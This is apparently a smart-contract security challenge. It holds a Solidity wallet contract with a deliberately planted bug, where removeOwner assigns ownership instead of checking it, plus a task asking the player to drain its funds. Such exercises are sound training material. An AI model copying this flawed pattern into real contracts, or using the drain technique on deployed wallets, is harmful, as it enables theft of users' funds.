fffffffff16905090565b56fea165627a7a7230582022ef29aa0fac0599c80abf8dd89a42f924e3b0f99adb34fa863fa92d5a91f1110029

View File

@ -0,0 +1,60 @@
/**
Look Mom, I coded my first wallet contract to learn solidity!
It even supports multiple owners!
**/
pragma solidity ^0.5.4;
contract NotAWallet{
address public owner;
address public student;
mapping (address => bool) owners;
constructor(address _student) public payable{
student = _student;
owner = msg.sender;
}
function deposit() public payable {
// recieve coins
}
function addOwner(address newowner) public {
require (owners[msg.sender] == true || msg.sender == owner);
owners[newowner] = true;
}
function removeOwner(address oldowner) public rightStudent {
require(owners[msg.sender] = true);
owners[oldowner] = false;
}
function withdraw(uint256 amount) public {
// only owners can withdraw funds
require(owners[msg.sender] == true);
msg.sender.transfer(amount);
}
function isOwner(address testowner) public view returns (bool) {
if (owners[testowner] == true) {
return true;
} else {
return false;
}
}
// ensure that only designated student has access to this challenge
modifier rightStudent() {
require(msg.sender == student || msg.sender == owner, "Access dendied!");
_;
}
// helper function to check if interacting with right contract
function getStudent() public view returns (address) {
return student;
}
}

View File

@ -0,0 +1,9 @@
# Challenge NotAWallet
This is a Wallet Contract and its source code that you have stumbled upon
Can you spot what is wrong with it?
# Task
Drain the contract of its funds and fill up your own account with them.